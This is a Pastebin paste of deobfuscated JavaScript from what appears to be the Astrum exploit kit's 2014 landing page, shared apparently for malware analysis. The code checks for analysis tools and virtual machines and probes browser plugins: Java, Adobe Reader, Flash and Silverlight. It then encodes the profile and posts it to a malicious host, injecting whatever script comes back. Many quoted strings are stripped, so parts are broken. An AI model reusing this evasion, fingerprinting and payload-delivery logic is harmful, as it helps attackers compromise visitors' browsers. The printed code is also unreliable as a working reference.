Kafeine

Astrum_Landing1_Deobfusc_beautified_2014-09-06

Sep 7th, 2014
810
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.     function x(x) {
  2.         return f(x).split("").reverse().join("")
  3.     }
  4.  
  5.     function r(x) {
  6.         (new Image).src = "/rFNFC0nFmuPHaC9hIvL_ic9vLmUupf_dxjlwYnH18Y3COnVicP320991fDB27LqLww..?e=" + h(x)
  7.     }
  8.  
  9.     function e(x) {
  10.         function r(x, r) {
  11.             return b.indexOf(x[C](r))
  12.         }
  13.         var e, t, n = ".",
  14.             o = 0,
  15.             a = x.length,
  16.             i = [];
  17.         if (x += "", 0 === a) return x;
  18.         if (a % 4 !== 0) return x;
  19.         for (x[C](a - 1) === n && (o = 1, x[C](a - 2) === n && (o = 2), a -= 4), e = 0; a > e; e += 4) t = r(x, e) << 18 | r(x, e + 1) << 12 | r(x, e + 2) << 6 | r(x, e + 3), i.push(A(t >> 16, t >> 8 & 255, 255 & t));
  20.         switch (o) {
  21.             case 1:
  22.                 t = r(x, e) << 18 | r(x, e + 1) << 12 | r(x, e + 2) << 6, i.push(A(t >> 16, t >> 8 & 255));
  23.                 break;
  24.             case 2:
  25.                 t = r(x, e) << 18 | r(x, e + 1) << 12, i.push(A(t >> 16))
  26.         }
  27.         return i.join("")
  28.     }
  29.  
  30.     function t(x, t) {
  31.         var n = "",
  32.             o = !1;
  33.         if (L && M && M.length >= x) {
  34.             for (var a = e(M[x].replace(/ /g, "")), c = 0; c < a.length; c++) n += A(a[E](c) ^ 255 & x ^ t);
  35.             o = !0
  36.         }
  37.         return o && i.userAgent.match(/msie|rv:11/gi) ? n : r("lne")
  38.     }
  39.     var n = window,
  40.         o = String,
  41.         a = document,
  42.         i = navigator,
  43.         c = a.body,
  44.         s = n.screen,
  45.         u = function(x, r) {
  46.             return x in r
  47.         },
  48.         l = function(x, r) {
  49.             return parseInt(x, r)
  50.         },
  51.         p = function(x) {
  52.             return isNaN(x)
  53.         },
  54.         f = function(x) {
  55.             return unescape(x)
  56.         },
  57.         h = function(x) {
  58.             return encodeURIComponent(x)
  59.         },
  60.         g = function(x) {
  61.             return x + ""
  62.         },
  63.         d = function(x) {
  64.             return +x
  65.         },
  66.         v = function() {
  67.             return new Date
  68.         },
  69.         m = function(x, r) {
  70.             return RegExp(x, r)
  71.         },
  72.         $ = function(x) {
  73.             try {
  74.                 return new ActiveXObject(x)
  75.             } catch (r) {
  76.                 return null
  77.             }
  78.         },
  79.         A = o[x("%65%64%6f%43%72%61%68%43%6d%6f%72%66")],
  80.         E = x("%74%41%65%64%6f%43%72%61%68%63"),
  81.         C = x("%74%41%72%61%68%63"),
  82.         O = x("%4c%4d%54%48%72%65%6e%6e%69"),
  83.         S = x("%20%2c"),
  84.         _ = x("%72%6f%72%72%65%6e%6f");
  85.     n[_] = function(x, e, t) {
  86.         r(x + "," + t)
  87.     };
  88.     var D = 0,
  89.         b = "";
  90.     for (D = 65; 90 >= D; D++) b += A(D);
  91.     for (D = 97; 122 >= D; D++) b += A(D);
  92.     for (D = 48; 57 >= D; D++) b += A(D);
  93.     b += "-:";
  94.     var L = a.getElementById("l0FA97a1"),
  95.         M = [];
  96.     L && (M = L[O].split(S));
  97.     try {
  98.         ! function() {
  99.             function x() {
  100.                 P = n[name], I = a[domain], F = n[location][protocol], j = s[width], V = s[height], X = (s[deviceXDPI] || 1) / (s[logicalXDPI] || 1), w = s[colorDepth] || 0, B = s[pixelDepth] || 0, N = c[clientHeight], H = n[screenTop] || -1, k = n[screenY] || -1, q = n[outerHeight] || 0, U = i[userAgent], W = i[appCodeName], z = i[appName], G = i[appVersion], Y = i[platform], K = i[cpuClass], J = i[language] || i[userLanguage] || i[browserLanguage] || i[systemLanguage], Z = v()[getTimezoneOffset](), e()
  101.             }
  102.  
  103.             function e() {
  104.                 var x = /*@cc_on!@*/ !1,
  105.                     r = /*@cc_on function(){@if(@_jscript_version==11)return 11;@elif(@_jscript_version==10)return 10;@elif(@_jscript_version==9)return 9;@elif(@_jscript_version==5.8)return 8;@elif(@_jscript_version==5.6)return 6;@elif(@_jscript_version==5.7)return 7;@elif(@_jscript_version==5.5)return 5;@else return 0;@end}()||@*/ 0;
  106.                 if (rr = r, u(compatible, a)) {
  107.                     var e = a[compatible];
  108.                     0 != e[length] && (er = e[0][userAgent], tr = e[0][version])
  109.                 }
  110.                 u(documentMode, a) && (xr = a[documentMode]), 7 != r || u(XMLHttpRequest, n) || (r -= 1), Tr = m(MSIE([6 - 9] | 10).[05], L);
  111.                 var o = l(U[match](Tr)[1], 10);
  112.                 if (!u(cpuClass, i) || r != o && o > r || !x) return M = 3, T += l(150, 11), _();
  113.                 T += l(70, 14), Q = o;
  114.                 var c = u(operaz, n),
  115.                     s = u(chromez, n),
  116.                     p = u(sidebarz, n);
  117.                 return p || c || s ? (M = 4, T += l(121, 7), _()) : (T += l(110111, 2), A(), void 0)
  118.             }
  119.  
  120.             function A() {
  121.                 if (n[localStorage]) {
  122.                     var x = 6e5,
  123.                         r = n[localStorage][getItem](Lr);
  124.                     null != r && r > v()[getTime]() - Mr + x && (nr = !1);
  125.                     try {
  126.                         n[localStorage][setItem](Lr, v()[getTime]())
  127.                     } catch (e) {}
  128.                     T += l(79, 13)
  129.                 } else {
  130.                     if (Q > 7) return M = 20, T += l(162, 10), _();
  131.                     T += l(79, 13)
  132.                 }
  133.                 E()
  134.             }
  135.  
  136.             function E() {
  137.                 var x = !1;
  138.                 try {
  139.                     gc(), quit(), phantom
  140.                 } catch (e) {
  141.                     x = !0
  142.                 }
  143.                 if (!x) return M = 9, T += l(331, 5), _();
  144.                 T += l(71, 14);
  145.                 var o = !1;
  146.                 try {
  147.                     o = null == $(wtf)
  148.                 } catch (e) {
  149.                     o = !0
  150.                 }
  151.                 if (!o) return M = 10, T += l(111111, 2), _();
  152.                 var a = !1;
  153.                 try {
  154.                     a = $(Msxml2.XMLHTTP) || $(Microsoft.XMLHTTP) || $(Microsoft.XMLDOM)
  155.                 } catch (e) {
  156.                     return r(18 - +e)
  157.                 }
  158.                 T += l(74, 14);
  159.                 var i = u(__BROWSERTOOLS_EMULATIONTOOLS_ADDED, n) || u(__BROWSERTOOLS_DOMEXPLORER_ADDED, n) || u(__BROWSERTOOLS_MEMORYANALYZER_ADDED, n) || u(__BROWSERTOOLS_CONSOLE, n) || u(__BROWSERTOOLS_CONSOLE_BREAKMODE_FUNC, n) || u(__BROWSERTOOLS_CONSOLE_SAFEFUNC, n) || u(__IE_DEVTOOLBAR_CONSOLE_COMMAND_LINE, n);
  160.                 return u(console, n) && 10 > Q || i ? (n[console] = null, M = 11, T += l(2033, 4), _()) : (T += l(344, 5), u(_firebug, n) || u(loadFirebugConsole, n) ? (n[console] = null, n[_firebug] = null, M = 12, T += l(246, 9), _()) : (T += l(31, 16), C(), void 0))
  161.             }
  162.  
  163.             function C() {
  164.                 function x(x) {
  165.                     var r = null;
  166.                     try {
  167.                         r = $(Microsoft.XMLDOM), r[loadXML]( < !DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
  168.                             'res://+x+' > )
  169.                     } catch (e) {}
  170.                     if (r && 0 != r[parseError][errorCode]) {
  171.                         var n = g(r[parseError][errorCode]);
  172.                         if (-2147024894 != n) return !0
  173.                     }
  174.                     return !1
  175.                 }
  176.  
  177.                 function r(r, n) {
  178.                     for (var o = r[split](, ), a = !1, c = 0; c < o[length]; c++)
  179.                         if (o[c] && (x(e + o[c]) || i && x(i + o[c]))) {
  180.                             if (a = !0, 0 == n) return Cr[push](c), a;
  181.                             if (1 == n) return Ar[push](c), a;
  182.                             2 == n && Or[push](c)
  183.                         }
  184.                     return a
  185.                 }
  186.                 var e, n = Fiddler,
  187.                     Fiddler2, Charles, Wireshark, Ethereal, VMware\ VMware Tools, Oracle\ VirtualBox Guest Additions, Parallels\ Parallels Tools, Debugging Tools
  188.                 for Windows(x86), o = -, a = !1, i = !1, c = Program Files | Programme | Archivos de programa | Programmes | Programmi | Arquivos de Programas | Program | Programmer | Programfiler | Programas | Fisiere Program | Pliki programó w, s = c[split]( | ), u = C | D | E | F, p = u[split]( | );
  189.                 if (x(C: \) && !x(C: \312ehdsjawzz))
  190.                     for (var f = 0; f < p[length]; f++) {
  191.                         for (var h = !1, d = 0; d < s[length]; d++)
  192.                             if (e = p[f] + : \+s[d], i = e + (x86)\, e += \, x(e)) {
  193.                                 x(e + wtf.43s) || (a = !0, x(i) || (i = !1)), h = !0;
  194.                                 break
  195.                             }
  196.                         if (h) break
  197.                     }
  198.                 var v = !1;
  199.                 return a && (Cr = [], Ar = [], Or = [], v = r(n, 0), r(o, 2)), T += l(144, 5), a && v ? (M = 32, T += l(4e, 15), _()) : (T += l(2000, 3), S(), void 0)
  200.             }
  201.  
  202.             function S() {
  203.                 var x, r = function(x, r, e, n) {
  204.                     jv1 = x[toString]()[replace](/[_,]+/g, .)[replace]( /*/g,.*.)[replace](/+/g,.+.)[replace](/[.]+/g,.),jv2=r[toString]()[replace](/[_,]+/g,.)[replace](/*/ g, .*.)[replace](/+/g, . + .)[replace](/[.]+/g, .);
  205.                     var o = jv1[split](.),
  206.                         a = jv2[split](.);
  207.                     if (jv1 == jv2) return n ? x : 0;
  208.                     e = e ? * : 0;
  209.                     for (var i = o[length] < a[length] ? a[length] : o[length], c = 0; i > c; c++)
  210.                         if (void 0 == o[c] && (o[c] = e), void 0 == a[c] && (a[c] = e), o[c] != a[c]) {
  211.                             var s = d(o[c]),
  212.                                 u = d(a[c]);
  213.                             if (s && u) {
  214.                                 if (s == u) continue
  215.                             } else {
  216.                                 if ( *= = o[c] || += = o[c]) return n ? x : 1;
  217.                                 if ( *= = a[c] || += = a[c]) return n ? r : -1;
  218.                                 p(s) && (s = 0), p(u) && (u = 0)
  219.                             }
  220.                             return s > u ? n ? x : 1 : n ? r : -1
  221.                         }
  222.                     return n ? o[length] > a[length] ? e ? x : r : e ? r : x : 0
  223.                 };
  224.                 if (Sr && i[javaEnabled]()) {
  225.                     for (var e = 0, n = [clsid: CAFEEFAC - DEC7 - 0000 - 0000 - ABCDEFFEDCBA, clsid: CAFEEFAC - DEC7 - 0000 - 0001 - ABCDEFFEDCBA], o = 0; o < n[length]; o++)
  226.                         if (x = a[createElement](object), x[setAttribute](classid, n[o]), u(jvms, x)) {
  227.                             var c = 0;
  228.                             try {
  229.                                 c = x[jvms][getLength]()
  230.                             } catch (s) {}
  231.                             if (c > 0) {
  232.                                 for (var f = 0; c > f; f++) e = r(e, x[jvms][get](c - 1 - f)[version], 0, 1);
  233.                                 x = null;
  234.                                 break
  235.                             }
  236.                         }
  237.                     e && (or++, ar = !0, ir = !0, cr = e)
  238.                 }
  239.                 if (_r) {
  240.                     var h = 0;
  241.                     x = null;
  242.                     try {
  243.                         x = $(AcroPDF.PDF)
  244.                     } catch (s) {
  245.                         try {
  246.                             x = $(PDF.PdfCtrl)
  247.                         } catch (g) {
  248.                             x = a[createElement](object), x[setAttribute](classid, clsid: CA8A9780 - 280D - 11CF - A24D - 444553540000)
  249.                         }
  250.                     }
  251.                     if (x && u(GetVersions, x)) {
  252.                         var v = /=s*([0-9.]+)/g,
  253.                             m = x[GetVersions]()[match](v);
  254.                         for (var A in m) - 1 != A[search](/^[0-9]+$/) && (h = r(h, m[A][replace](/[^0-9.]+/g, L), 0, 1))
  255.                     }
  256.                     h && (or++, sr = !0, ur = !0, lr = h)
  257.                 }
  258.                 if (Dr) {
  259.                     var E = 0;
  260.                     x = null;
  261.                     try {
  262.                         x = $(ShockwaveFlash.ShockwaveFlash)
  263.                     } catch (s) {
  264.                         x = a[createElement](object), x[setAttribute](classid, clsid: D27CDB6E - AE6D - 11CF - 96B8 - 444553540000)
  265.                     }
  266.                     x && u(GetVariable, x) && (E = x[GetVariable]($version)[replace](/[^0-9.,]+/g, L)), E && (or++, pr = !0, fr = !0, hr = E)
  267.                 }
  268.                 if (br) {
  269.                     var C = 0;
  270.                     x = null;
  271.                     try {
  272.                         x = $(AgControl.AgControl)
  273.                     } catch (s) {
  274.                         x = a[createElement](object), x[setAttribute](classid, clsid: DFEAF541 - F3E1 - 4C24 - ACAC - 99C30715084A)
  275.                     }
  276.                     x && u(IsVersionSupported, x) && (x[IsVersionSupported](5.1.30214.0) ? C = 5.1.30214.0 : x[IsVersionSupported](5.1.20913.0) ? C = 5.1.20913.0 : x[IsVersionSupported](5.1.20513.0) ? C = 5.1.20513.0 : x[IsVersionSupported](5.1.20125.0) ? C = 5.1.20125.0 : x[IsVersionSupported](5.1) ? C = 5.1 : x[IsVersionSupported](5.0) ? C = 5.0 : x[IsVersionSupported](4) ? C = 4 : x[IsVersionSupported](3) ? C = 3 : x[IsVersionSupported](2) ? C = 2 : x[IsVersionSupported](1) && (C = 1)), C && (or++, gr = !0, dr = !0, vr = C)
  277.                 }
  278.                 T += l(47, 12);
  279.                 try {
  280.                     var O = $(Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.1);
  281.                     O && (mr = 1)
  282.                 } catch (s) {}
  283.                 _()
  284.             }
  285.  
  286.             function _() {
  287.                 var x = "http://static.yarkiy-mir.org/IVmTAccT_rdKYvlrrCSb3UJl-G-gc5uJSzOmaP8jldlPMKNo_iuSh1J_qjr5Ot7fTg..",
  288.                     r = Pr(jr(), !1);
  289.                 Fr(x, Ir(r))
  290.             }
  291.  
  292.             function D() {
  293.                 x()
  294.             }
  295.             var b = f( % 22),
  296.                 L = new String,
  297.                 M = 0,
  298.                 T = 0,
  299.                 y = 1410021898566,
  300.                 R = 70fd2c998b138761d53bae88714f8598,
  301.                 P = null,
  302.                 I = null,
  303.                 F = null,
  304.                 j = 0,
  305.                 V = 0,
  306.                 X = 0,
  307.                 w = 0,
  308.                 B = 0,
  309.                 N = 0,
  310.                 H = -1,
  311.                 q = 0,
  312.                 k = -1,
  313.                 U = null,
  314.                 W = null,
  315.                 z = null,
  316.                 G = null,
  317.                 Y = null,
  318.                 K = null,
  319.                 J = null,
  320.                 Z = 0,
  321.                 Q = 0,
  322.                 xr = 0,
  323.                 rr = 0,
  324.                 er = 0,
  325.                 tr = 0,
  326.                 nr = !0,
  327.                 or = 0,
  328.                 ar = !1,
  329.                 ir = !1,
  330.                 cr = -1,
  331.                 sr = !1,
  332.                 ur = !1,
  333.                 lr = -1,
  334.                 pr = !1,
  335.                 fr = !1,
  336.                 hr = -1,
  337.                 gr = !1,
  338.                 dr = !1,
  339.                 vr = -1,
  340.                 mr = !1,
  341.                 $r = [-1],
  342.                 Ar = [-1],
  343.                 Er = [-1],
  344.                 Cr = [-1],
  345.                 Or = [-1],
  346.                 Sr = !0,
  347.                 _r = 1,
  348.                 Dr = !0,
  349.                 br = !0,
  350.                 Lr = __gads14,
  351.                 Mr = l(86400000, 10),
  352.                 Tr = null,
  353.                 yr = function(x) {
  354.                     function r(x, r) {
  355.                         return x[charCodeAt](r)
  356.                     }
  357.                     x += L;
  358.                     var e, n, o == , a = ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 + /,i=[],c=x[length]-x[length]%3;if(0===x[length])return x;for(e=0;c>e;e+=3)n=r(x,e)<<16|r(x,e+1)<<8|r(x,e+2),i[push](a[charAt](n>>18)),i[push](a[charAt](n>>12&63)),i[push](a[charAt](n>>6&63)),i[push](a[charAt](63&n));switch(x[length]-c){case 1:n=r(x,e)<<16,i[push](a[charAt](n>>18)+a[charAt](n>>12&63)+o+o);break;case 2:n=r(x,e)<<16|r(x,e+1)<<8,i[push](a[charAt](n>>18)+a[charAt](n>>12&63)+a[charAt](n>>6&63)+o)}return i[join](L)},Rr=function(x){return x[substr](0,300)},Pr=function(x,r){function e(x){return x=g(x),x=x[replace](/\ / g,
  359.                         \\),
  360.                 x = x[replace](/"/g, \+b),
  361.                 x
  362.         }
  363.         var n = [],
  364.             o = r ? {: [;
  365.                 for (var a in x) a = e(a), object == typeof x[a] ? n[push]((r ? b + a + b + ::L) + Pr(x[a], r)) : number == typeof x[a] ? n[push]((r ? b + a + b + ::L) + x[a][toString](10)) : void 0 === x[a] || null === x[a] ? n[push]((r ? b + a + b + ::L) + null) : x[a] === !0 || x[a] === !1 ? n[push]((r ? b + a + b + ::L) + (x[a] ? 1 : 0)) : string == typeof x[a] && n[push]((r ? b + a + b + ::L) + b + e(x[a]) + b);
  366.                 return o += n[join](, ), o += r ?
  367.             }: ],
  368.             o
  369.     }, Ir = function(x) {
  370.             for (var r = R, e = L, n = 0; n < x[length]; n++) {
  371.                 var a = x[charCodeAt](n),
  372.                     i = r[charCodeAt](n % r[length]),
  373.                     c = a ^ i ^ r[length];
  374.                 e += o[fromCharCode](c)
  375.             }
  376.             return e
  377.         }, Fr = function(x, e) {
  378.             function o() {
  379.                 if (void 0 === n[XMLHttpRequest]) {
  380.                     try {
  381.                         return $(Msxml2.XMLHTTP.6.0)
  382.                     } catch (x) {}
  383.                     try {
  384.                         return $(Msxml2.XMLHTTP.3.0)
  385.                     } catch (x) {}
  386.                     try {
  387.                         return $(Msxml2.XMLHTTP)
  388.                     } catch (x) {}
  389.                     try {
  390.                         return $(Microsoft.XMLHTTP)
  391.                     } catch (x) {}
  392.                     return !1
  393.                 }
  394.                 return new(n[XMLHttpRequest])
  395.             }
  396.  
  397.             function i() {
  398.                     function x(x, r) {
  399.                         for (var e = x, n = []; e[indexOf]( < +r) > -1 || e[indexOf]( < /+r)>-1;){var o=e[indexOf](<+r),a=e[indexOf](</ + r, o), i = e[indexOf]( > , a); n[push](e[substring](o, i + 1)), e = e[substring](i + 1)
  400.                         }
  401.                         return n
  402.                     }
  403.                     try {
  404.                         if (4 == u[readyState] && 200 == u[status]) {
  405.                             var e = u[responseText];
  406.                             if ( < scr == e[substr](0, 4)) {
  407.                                 var n = x(e, div),
  408.                                     o = x(e, script);
  409.                                 if (n && o) {
  410.                                     for (var i = 0; i < n[length]; i++) c[O] += n[i];
  411.                                     for (var i = 0; i < o[length]; i++) {
  412.                                         var s = a[createElement](script);
  413.                                         s[text] = o[i][replace](m( < (/|)script>,gi),L),c[appendChild](s)}}}else r(ajaxresperr: +u[statusText])}}catch(l){r(ajaxerr: +l)}}var s=ajax;if(ajax==s){var u=o();u?(e=yr(e),u[open](POST,x,!1),u[setRequestHeader](Content-type,application/octet - stream), u[setRequestHeader](Content - length, e[length]), u[setRequestHeader](X - Req, b9cece9adb4f68466f62600a7adfece0), u[onreadystatechange] = i, u[send](e)): r(noajax)
  414.                                         } else if (frame == s) {
  415.                                             var l = a[createElement](s);
  416.                                             l[setAttribute](src, x + ? q = +h(yr(e))), c[appendChild](l)
  417.                                         } else r(invtyp)
  418.                                     }, jr = function() {
  419.                                         return [M, R, T, y, nr, P, [I, F],
  420.                                             [j, V, X, w, B, N, H, q, k],
  421.                                             [Rr(U), U[length]], W, [Rr(z), z[length]],
  422.                                             [Rr(G), G[length]],
  423.                                             [Y, K],
  424.                                             [J, Z],
  425.                                             [xr, rr, er, tr], or, [
  426.                                                 [ar, ir, cr],
  427.                                                 [sr, ur, lr],
  428.                                                 [pr, fr, hr],
  429.                                                 [gr, dr, vr]
  430.                                             ], mr, Er, $r, Cr, Ar, Or
  431.                                         ]
  432.                                     };
  433.                                     D()
  434.                                 }()
  435.                             } catch (T) {
  436.                                 r(T)
  437.                             }
RAW Paste Data